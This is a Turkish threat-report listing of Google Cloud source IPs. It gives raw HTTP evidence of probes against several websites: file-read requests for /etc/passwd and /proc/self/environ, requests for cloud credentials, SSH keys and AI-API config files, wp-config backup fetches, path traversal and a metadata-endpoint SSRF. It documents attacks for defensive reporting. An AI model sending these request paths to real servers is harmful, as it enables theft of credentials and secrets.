09/Aug/2026:16:48:10 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
11/Aug/2026:18:36:40 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/.aws/credentials
34.76.212.3 — 3 saldırı imzalı istek / 59 toplam istek

Prefix: 34.76.0.0/14 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
15/Aug/2026:23:23:41 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
15/Aug/2026:23:23:41 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
15/Aug/2026:23:24:11 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
35.195.83.253 — 3 saldırı imzalı istek / 55 toplam istek

Prefix: 35.195.0.0/16 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
11/Aug/2026:21:11:13 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
11/Aug/2026:21:11:13 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
11/Aug/2026:21:11:41 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
34.7.134.59 — 3 saldırı imzalı istek / 50 toplam istek

Prefix: 34.6.0.0/15 · Region: europe-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Aug/2026:12:20:38 +0300parasalhaber.com.trGET404CONFIG_SECRET/@fs/root/.openai/config.json?raw??
12/Aug/2026:12:20:38 +0300parasalhaber.com.trGET404CONFIG_SECRET/@fs/root/.anthropic/config.json?raw??
12/Aug/2026:12:20:44 +0300parasalhaber.com.trGET404AWS_CREDENTIALS/aws_credentials
34.74.219.24 — 3 saldırı imzalı istek / 49 toplam istek

Prefix: 34.74.0.0/15 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
26/Aug/2026:20:17:46 +0300cms.profesyonelwebserver.net.trGET404AWS_CREDENTIALS/@fs/root/.aws/credentials?raw??
26/Aug/2026:20:17:46 +0300cms.profesyonelwebserver.net.trGET404AWS_CREDENTIALS/@fs/home/ubuntu/.aws/credentials?raw??
26/Aug/2026:20:17:46 +0300cms.profesyonelwebserver.net.trGET404AWS_CREDENTIALS/@fs/home/ec2-user/.aws/credentials?raw??
34.77.141.98 — 3 saldırı imzalı istek / 46 toplam istek

Prefix: 34.76.0.0/14 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Aug/2026:00:59:06 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
12/Aug/2026:00:59:06 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
12/Aug/2026:00:59:07 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
35.197.155.163 — 3 saldırı imzalı istek / 45 toplam istek

Prefix: 35.197.128.0/19 · Region: asia-southeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
08/Aug/2026:08:20:34 +0300elixtria.comGET404PASSWD_FILE/@fs/etc/passwd?raw??
08/Aug/2026:08:20:47 +0300elixtria.comGET404OCI_SECRET/@fs/home/ubuntu/.oci/config?raw??
08/Aug/2026:08:21:16 +0300elixtria.comGET403SSH_PRIVATE_KEY/.ssh/id_ecdsa
35.196.61.93 — 3 saldırı imzalı istek / 44 toplam istek

Prefix: 35.196.0.0/16 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
11/Aug/2026:16:44:05 +0300ascento.trGET404AWS_CREDENTIALS/.aws/credentials
13/Aug/2026:08:35:35 +0300ascento.trGET301AWS_CREDENTIALS/.aws/credentials
13/Aug/2026:08:35:35 +0300ascento.trGET301SERVICE_ACCOUNT/service_account.json
34.186.13.91 — 3 saldırı imzalı istek / 30 toplam istek

Prefix: 34.186.0.0/19 · Region: us-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
09/Aug/2026:11:08:35 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
09/Aug/2026:11:08:35 +0300profesyonelweb.com.trGET200PASSWD_FILE/@fs/etc/passwd?raw??
09/Aug/2026:11:09:49 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
34.14.111.10 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 34.14.0.0/17 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
06/Sep/2026:04:56:34 +0300ascento.trGET404WP_CONFIG/wp-config.php.bak
06/Sep/2026:04:56:34 +0300ascento.trGET404WP_CONFIG/wp-config.php.swp
06/Sep/2026:04:56:34 +0300ascento.trGET404WP_CONFIG/wp-config.php~
34.79.114.166 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 34.76.0.0/14 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
01/Sep/2026:01:08:27 +0300ascento.trGET404WP_CONFIG/wp-config.php~
01/Sep/2026:01:08:27 +0300ascento.trGET404WP_CONFIG/wp-config.php.bak
01/Sep/2026:01:08:27 +0300ascento.trGET404WP_CONFIG/wp-config.php.swp
34.88.75.40 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 34.88.0.0/16 · Region: europe-north1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
01/Sep/2026:11:15:49 +0300ascento.trGET404WP_CONFIG/wp-config.php~
01/Sep/2026:11:15:49 +0300ascento.trGET404WP_CONFIG/wp-config.php.bak
01/Sep/2026:11:15:49 +0300ascento.trGET404WP_CONFIG/wp-config.php.swp
34.52.218.172 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 34.52.128.0/17 · Region: europe-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
04/Sep/2026:15:47:06 +0300ascento.trGET404WP_CONFIG/wp-config.php.bak
04/Sep/2026:15:47:06 +0300ascento.trGET404WP_CONFIG/wp-config.php.swp
04/Sep/2026:15:47:06 +0300ascento.trGET404WP_CONFIG/wp-config.php~
34.70.161.3 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 34.68.0.0/14 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
28/Aug/2026:15:47:18 +0300ascento.trGET301WP_CONFIG/wp-config.php.bak
28/Aug/2026:15:47:18 +0300ascento.trGET301WP_CONFIG/wp-config.php~
28/Aug/2026:15:47:18 +0300ascento.trGET301WP_CONFIG/wp-config.php.swp
35.234.216.122 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 35.234.208.0/20 · Region: asia-south1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
03/Aug/2026:00:14:08 +0300ascento.trGET404WP_CONFIG/wp-config.php.bak
03/Aug/2026:00:14:08 +0300ascento.trGET404WP_CONFIG/wp-config.php.swp
03/Aug/2026:00:14:09 +0300ascento.trGET404WP_CONFIG/wp-config.php~
34.22.54.89 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 34.22.32.0/19 · Region: us-west3

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
03/Aug/2026:04:28:35 +0300ascento.trGET301WP_CONFIG/wp-config.php.swp
03/Aug/2026:04:28:35 +0300ascento.trGET301WP_CONFIG/wp-config.php.bak
03/Aug/2026:04:28:35 +0300ascento.trGET301WP_CONFIG/wp-config.php~
34.47.82.185 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 34.47.64.0/18 · Region: asia-northeast3

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
06/Sep/2026:06:22:15 +0300deneme.parasalhaber.com.trGET404WP_CONFIG/wp-config.php.swp
06/Sep/2026:06:22:15 +0300deneme.parasalhaber.com.trGET404WP_CONFIG/wp-config.php.bak
06/Sep/2026:06:22:15 +0300deneme.parasalhaber.com.trGET404WP_CONFIG/wp-config.php~
35.230.115.27 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 35.230.0.0/17 · Region: us-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
01/Sep/2026:03:59:27 +0300deneme.parasalhaber.com.trGET404WP_CONFIG/wp-config.php.bak
01/Sep/2026:03:59:27 +0300deneme.parasalhaber.com.trGET404WP_CONFIG/wp-config.php~
01/Sep/2026:03:59:27 +0300deneme.parasalhaber.com.trGET404WP_CONFIG/wp-config.php.swp
34.106.72.61 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 34.106.0.0/16 · Region: us-west3

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
01/Sep/2026:15:11:34 +0300deneme.parasalhaber.com.trGET404WP_CONFIG/wp-config.php.swp
01/Sep/2026:15:11:34 +0300deneme.parasalhaber.com.trGET404WP_CONFIG/wp-config.php.bak
01/Sep/2026:15:11:34 +0300deneme.parasalhaber.com.trGET404WP_CONFIG/wp-config.php~
34.44.189.55 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 34.44.0.0/15 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
04/Sep/2026:17:39:32 +0300deneme.parasalhaber.com.trGET404WP_CONFIG/wp-config.php~
04/Sep/2026:17:39:32 +0300deneme.parasalhaber.com.trGET404WP_CONFIG/wp-config.php.bak
04/Sep/2026:17:39:32 +0300deneme.parasalhaber.com.trGET404WP_CONFIG/wp-config.php.swp
34.97.31.163 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 34.97.0.0/16 · Region: asia-northeast2

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
27/Aug/2026:04:02:21 +0300deneme.parasalhaber.com.trGET404WP_CONFIG/wp-config.php.bak
27/Aug/2026:04:02:21 +0300deneme.parasalhaber.com.trGET404WP_CONFIG/wp-config.php~
27/Aug/2026:04:02:21 +0300deneme.parasalhaber.com.trGET404WP_CONFIG/wp-config.php.swp
34.46.228.45 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 34.46.0.0/16 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
27/Aug/2026:14:13:11 +0300deneme.parasalhaber.com.trGET404WP_CONFIG/wp-config.php~
27/Aug/2026:14:13:11 +0300deneme.parasalhaber.com.trGET404WP_CONFIG/wp-config.php.bak
27/Aug/2026:14:13:11 +0300deneme.parasalhaber.com.trGET404WP_CONFIG/wp-config.php.swp
34.20.168.239 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 34.20.128.0/17 · Region: us-west2

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
29/Aug/2026:06:08:15 +0300deneme.parasalhaber.com.trGET404WP_CONFIG/wp-config.php.bak
29/Aug/2026:06:08:15 +0300deneme.parasalhaber.com.trGET404WP_CONFIG/wp-config.php~
29/Aug/2026:06:08:15 +0300deneme.parasalhaber.com.trGET404WP_CONFIG/wp-config.php.swp
34.180.56.243 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 34.180.0.0/18 · Region: asia-south1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
02/Aug/2026:17:26:12 +0300deneme.parasalhaber.com.trGET404WP_CONFIG/wp-config.php.bak
02/Aug/2026:17:26:12 +0300deneme.parasalhaber.com.trGET404WP_CONFIG/wp-config.php~
02/Aug/2026:17:26:12 +0300deneme.parasalhaber.com.trGET404WP_CONFIG/wp-config.php.swp
34.95.228.141 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 34.95.128.0/17 · Region: southamerica-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
06/Sep/2026:06:35:19 +0300picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php.bak
06/Sep/2026:06:35:19 +0300picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php~
06/Sep/2026:06:35:19 +0300picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php.swp
34.185.231.221 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 34.185.128.0/17 · Region: europe-west3

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
01/Sep/2026:15:59:41 +0300picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php~
01/Sep/2026:15:59:41 +0300picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php.bak
01/Sep/2026:15:59:41 +0300picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php.swp
34.90.212.195 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 34.90.0.0/15 · Region: europe-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
04/Sep/2026:17:56:24 +0300picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php.bak
04/Sep/2026:17:56:24 +0300picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php.swp
04/Sep/2026:17:56:24 +0300picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php~
35.245.146.204 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 35.245.0.0/16 · Region: us-east4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
28/Aug/2026:19:13:18 +0300picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php.swp
28/Aug/2026:19:13:18 +0300picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php.bak
28/Aug/2026:19:13:18 +0300picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php~
34.124.145.76 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 34.124.128.0/17 · Region: asia-southeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
03/Aug/2026:01:19:18 +0300picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php.bak
03/Aug/2026:01:19:18 +0300picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php~
03/Aug/2026:01:19:18 +0300picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php.swp
35.203.109.116 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 35.203.0.0/17 · Region: northamerica-northeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
03/Aug/2026:05:39:03 +0300picassoshopcoffee.com.trGET301WP_CONFIG/wp-config.php.bak
03/Aug/2026:05:39:03 +0300picassoshopcoffee.com.trGET301WP_CONFIG/wp-config.php.swp
03/Aug/2026:05:39:03 +0300picassoshopcoffee.com.trGET301WP_CONFIG/wp-config.php~
34.128.82.22 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 34.128.64.0/18 · Region: asia-southeast2

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
06/Sep/2026:06:33:15 +0300preview.picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php~
06/Sep/2026:06:33:15 +0300preview.picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php.bak
06/Sep/2026:06:33:15 +0300preview.picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php.swp
35.229.18.104 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 35.229.16.0/20 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
01/Sep/2026:15:52:14 +0300preview.picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php~
01/Sep/2026:15:52:14 +0300preview.picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php.swp
01/Sep/2026:15:52:14 +0300preview.picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php.bak
35.203.143.148 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 35.203.128.0/18 · Region: us-west1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
04/Sep/2026:17:53:39 +0300preview.picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php~
04/Sep/2026:17:53:39 +0300preview.picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php.bak
04/Sep/2026:17:53:39 +0300preview.picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php.swp
34.23.68.105 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 34.23.0.0/16 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
27/Aug/2026:16:32:02 +0300preview.picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php~
27/Aug/2026:16:32:02 +0300preview.picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php.swp
27/Aug/2026:16:32:02 +0300preview.picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php.bak
34.63.245.57 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 34.63.0.0/16 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
28/Aug/2026:18:08:00 +0300preview.picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php.swp
28/Aug/2026:18:08:00 +0300preview.picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php~
28/Aug/2026:18:08:00 +0300preview.picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php.bak
34.50.115.129 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 34.50.64.0/18 · Region: asia-southeast2

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
02/Aug/2026:18:37:18 +0300preview.picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php.swp
02/Aug/2026:18:37:18 +0300preview.picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php~
02/Aug/2026:18:37:18 +0300preview.picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php.bak
35.201.3.243 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 35.201.0.0/19 · Region: australia-southeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
03/Aug/2026:02:14:19 +0300preview.picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php~
03/Aug/2026:02:14:19 +0300preview.picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php.swp
03/Aug/2026:02:14:19 +0300preview.picassoshopcoffee.com.trGET404WP_CONFIG/wp-config.php.bak
34.64.99.234 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 34.64.96.0/19 · Region: asia-northeast3

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
06/Sep/2026:02:07:00 +0300rstbirlik.com.trGET404WP_CONFIG/wp-config.php~
06/Sep/2026:02:07:00 +0300rstbirlik.com.trGET404WP_CONFIG/wp-config.php.swp
06/Sep/2026:02:07:00 +0300rstbirlik.com.trGET404WP_CONFIG/wp-config.php.bak
34.74.13.50 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 34.74.0.0/15 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
04/Sep/2026:11:42:17 +0300rstbirlik.com.trGET404WP_CONFIG/wp-config.php.bak
04/Sep/2026:11:42:17 +0300rstbirlik.com.trGET404WP_CONFIG/wp-config.php~
04/Sep/2026:11:42:17 +0300rstbirlik.com.trGET404WP_CONFIG/wp-config.php.swp
35.188.7.174 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 35.188.0.0/17 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
28/Aug/2026:15:05:54 +0300rstbirlik.com.trGET404WP_CONFIG/wp-config.php.swp
28/Aug/2026:15:05:54 +0300rstbirlik.com.trGET404WP_CONFIG/wp-config.php~
28/Aug/2026:15:05:54 +0300rstbirlik.com.trGET404WP_CONFIG/wp-config.php.bak
34.12.8.212 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 34.12.0.0/16 · Region: europe-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
28/Aug/2026:22:05:30 +0300rstbirlik.com.trGET404WP_CONFIG/wp-config.php.bak
28/Aug/2026:22:05:30 +0300rstbirlik.com.trGET404WP_CONFIG/wp-config.php.swp
28/Aug/2026:22:05:30 +0300rstbirlik.com.trGET404WP_CONFIG/wp-config.php~
35.241.98.47 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 35.241.64.0/18 · Region: asia-east2

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
02/Aug/2026:23:15:09 +0300rstbirlik.com.trGET404WP_CONFIG/wp-config.php.bak
02/Aug/2026:23:15:09 +0300rstbirlik.com.trGET404WP_CONFIG/wp-config.php.swp
02/Aug/2026:23:15:10 +0300rstbirlik.com.trGET404WP_CONFIG/wp-config.php~
35.230.145.70 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 35.230.128.0/19 · Region: europe-west2

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
03/Aug/2026:05:09:55 +0300rstbirlik.com.trGET404WP_CONFIG/wp-config.php.bak
03/Aug/2026:05:09:55 +0300rstbirlik.com.trGET404WP_CONFIG/wp-config.php.swp
03/Aug/2026:05:09:55 +0300rstbirlik.com.trGET404WP_CONFIG/wp-config.php~
34.63.75.227 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 34.63.0.0/16 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
27/Aug/2026:21:02:55 +0300teigmo.com.trGET200WP_CONFIG/wp-config.php~
27/Aug/2026:21:02:55 +0300teigmo.com.trGET200WP_CONFIG/wp-config.php.swp
27/Aug/2026:21:02:55 +0300teigmo.com.trGET200WP_CONFIG/wp-config.php.bak
34.42.49.156 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 34.42.0.0/16 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
29/Aug/2026:01:08:29 +0300teigmo.com.trGET200WP_CONFIG/wp-config.php.bak
29/Aug/2026:01:08:29 +0300teigmo.com.trGET200WP_CONFIG/wp-config.php~
29/Aug/2026:01:08:29 +0300teigmo.com.trGET200WP_CONFIG/wp-config.php.swp
34.124.211.117 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 34.124.128.0/17 · Region: asia-southeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
02/Aug/2026:21:03:15 +0300teigmo.com.trGET200WP_CONFIG/wp-config.php.bak
02/Aug/2026:21:03:15 +0300teigmo.com.trGET200WP_CONFIG/wp-config.php~
02/Aug/2026:21:03:15 +0300teigmo.com.trGET200WP_CONFIG/wp-config.php.swp
34.96.166.220 — 3 saldırı imzalı istek / 9 toplam istek

Prefix: 34.96.128.0/17 · Region: asia-east2

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
02/Aug/2026:22:07:38 +0300teigmo.com.trGET200WP_CONFIG/wp-config.php.bak
02/Aug/2026:22:07:38 +0300teigmo.com.trGET200WP_CONFIG/wp-config.php.swp
02/Aug/2026:22:07:38 +0300teigmo.com.trGET200WP_CONFIG/wp-config.php~
34.125.235.167 — 3 saldırı imzalı istek / 8 toplam istek

Prefix: 34.125.0.0/16 · Region: us-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Aug/2026:07:55:44 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?raw??
12/Aug/2026:07:55:48 +0300profesyonelweb.com.trGET200PASSWD_FILE/static../etc/passwd
12/Aug/2026:07:56:04 +0300profesyonelweb.com.trGET200AWS_METADATA_SSRF/api/download?url=http%3A%2F%2F169.254.169.254%2Flatest%2Fmeta-data%2F
34.81.61.197 — 2 saldırı imzalı istek / 262 toplam istek

Prefix: 34.80.0.0/15 · Region: asia-east1

Ham HTTP delili:

Bu kaynak için sınıflandırılmış olay mevcut olmakla birlikte, kamuya açık tabloda kullanılabilecek eksiksiz zaman+metot+URL HTTP tuple kaydı ayrıştırılamadı.

34.24.153.122 — 2 saldırı imzalı istek / 134 toplam istek

Prefix: 34.24.0.0/15 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
19/Aug/2026:20:19:35 +0300denizciden.com.trGET404SSH_PRIVATE_KEY/.ssh/id_ecdsa
19/Aug/2026:20:19:35 +0300denizciden.com.trGET404SERVICE_ACCOUNT/service_account.json
35.187.232.13 — 2 saldırı imzalı istek / 124 toplam istek

Prefix: 35.187.224.0/19 · Region: asia-southeast1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
17/Aug/2026:10:04:53 +0300denizciden.com.trGET404SERVICE_ACCOUNT/service_account.json
17/Aug/2026:10:04:55 +0300denizciden.com.trGET404SSH_PRIVATE_KEY/.ssh/id_ecdsa
35.239.48.204 — 2 saldırı imzalı istek / 118 toplam istek

Prefix: 35.238.0.0/15 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Aug/2026:02:57:50 +0300denizciden.com.trGET404SERVICE_ACCOUNT/service_account.json
12/Aug/2026:02:57:51 +0300denizciden.com.trGET404SSH_PRIVATE_KEY/.ssh/id_ecdsa
34.75.71.47 — 2 saldırı imzalı istek / 116 toplam istek

Prefix: 34.74.0.0/15 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
11/Aug/2026:07:33:08 +0300denizciden.com.trGET404SERVICE_ACCOUNT/service_account.json
11/Aug/2026:07:33:09 +0300denizciden.com.trGET404SSH_PRIVATE_KEY/.ssh/id_ecdsa
34.71.3.86 — 2 saldırı imzalı istek / 112 toplam istek

Prefix: 34.68.0.0/14 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
09/Aug/2026:22:59:47 +0300parasalhaber.com.trGET404SERVICE_ACCOUNT/service_account.json
09/Aug/2026:22:59:48 +0300parasalhaber.com.trGET404SSH_PRIVATE_KEY/.ssh/id_ecdsa
35.204.239.202 — 2 saldırı imzalı istek / 81 toplam istek

Prefix: 35.204.0.0/16 · Region: europe-west4

Ham HTTP delili:

Bu kaynak için sınıflandırılmış olay mevcut olmakla birlikte, kamuya açık tabloda kullanılabilecek eksiksiz zaman+metot+URL HTTP tuple kaydı ayrıştırılamadı.

34.59.11.203 — 2 saldırı imzalı istek / 63 toplam istek

Prefix: 34.56.0.0/14 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
17/Aug/2026:01:50:38 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/.aws/credentials
17/Aug/2026:13:36:40 +0300picassoshopcoffee.com.trGET403AWS_CREDENTIALS/.aws/credentials
34.23.167.172 — 2 saldırı imzalı istek / 53 toplam istek

Prefix: 34.23.0.0/16 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
11/Aug/2026:16:23:58 +0300rstbirlik.com.trGET404SERVICE_ACCOUNT/service-account.json
11/Aug/2026:16:23:58 +0300rstbirlik.com.trGET404AWS_CREDENTIALS/.aws/credentials
34.74.120.113 — 2 saldırı imzalı istek / 48 toplam istek

Prefix: 34.74.0.0/15 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Aug/2026:06:24:01 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
12/Aug/2026:06:24:01 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
34.134.163.149 — 2 saldırı imzalı istek / 46 toplam istek

Prefix: 34.132.0.0/14 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Aug/2026:04:04:52 +0300teigmo.com.trGET404AWS_CREDENTIALS/.aws/credentials
12/Aug/2026:04:04:53 +0300teigmo.com.trGET404SERVICE_ACCOUNT/service-account.json
34.145.226.208 — 2 saldırı imzalı istek / 45 toplam istek

Prefix: 34.145.128.0/17 · Region: us-east4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
11/Aug/2026:16:45:32 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
11/Aug/2026:16:45:33 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
34.81.173.37 — 2 saldırı imzalı istek / 44 toplam istek

Prefix: 34.80.0.0/15 · Region: asia-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
08/Aug/2026:05:05:57 +0300profesyonelweb.com.trGET404PROC_ENVIRON/@fs/proc/self/environ?import&raw??
08/Aug/2026:05:05:57 +0300profesyonelweb.com.trGET200SERVICE_ACCOUNT/sa.json
35.232.70.174 — 2 saldırı imzalı istek / 42 toplam istek

Prefix: 35.232.0.0/16 · Region: us-central1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
11/Sep/2026:22:37:36 +0300profesyonelweb.com.trGET404ENV_FILE/_environment
11/Sep/2026:22:37:36 +0300profesyonelweb.com.trGET404ENV_FILE/webroot/index.php/_environment
35.229.133.140 — 2 saldırı imzalı istek / 40 toplam istek

Prefix: 35.229.128.0/17 · Region: asia-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
15/Aug/2026:17:31:35 +0300elixtria.comGET404OCI_SECRET/@fs/root/.oci/config?raw??
15/Aug/2026:17:32:04 +0300elixtria.comGET404SERVICE_ACCOUNT/sa.json
34.148.158.43 — 2 saldırı imzalı istek / 39 toplam istek

Prefix: 34.148.0.0/16 · Region: us-east1

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
12/Aug/2026:20:07:55 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
13/Aug/2026:15:09:53 +0300profesyonelweb.com.trGET404SERVICE_ACCOUNT/service_account.json
34.125.86.111 — 2 saldırı imzalı istek / 36 toplam istek

Prefix: 34.125.0.0/16 · Region: us-west4

Ham HTTP delili:

ZamanHedefMetotDurumİmzaİstek URI
06/Aug/2026:15:22:05 +0300profesyonelwebserver.net.trGET404SERVICE_ACCOUNT/service_account.json
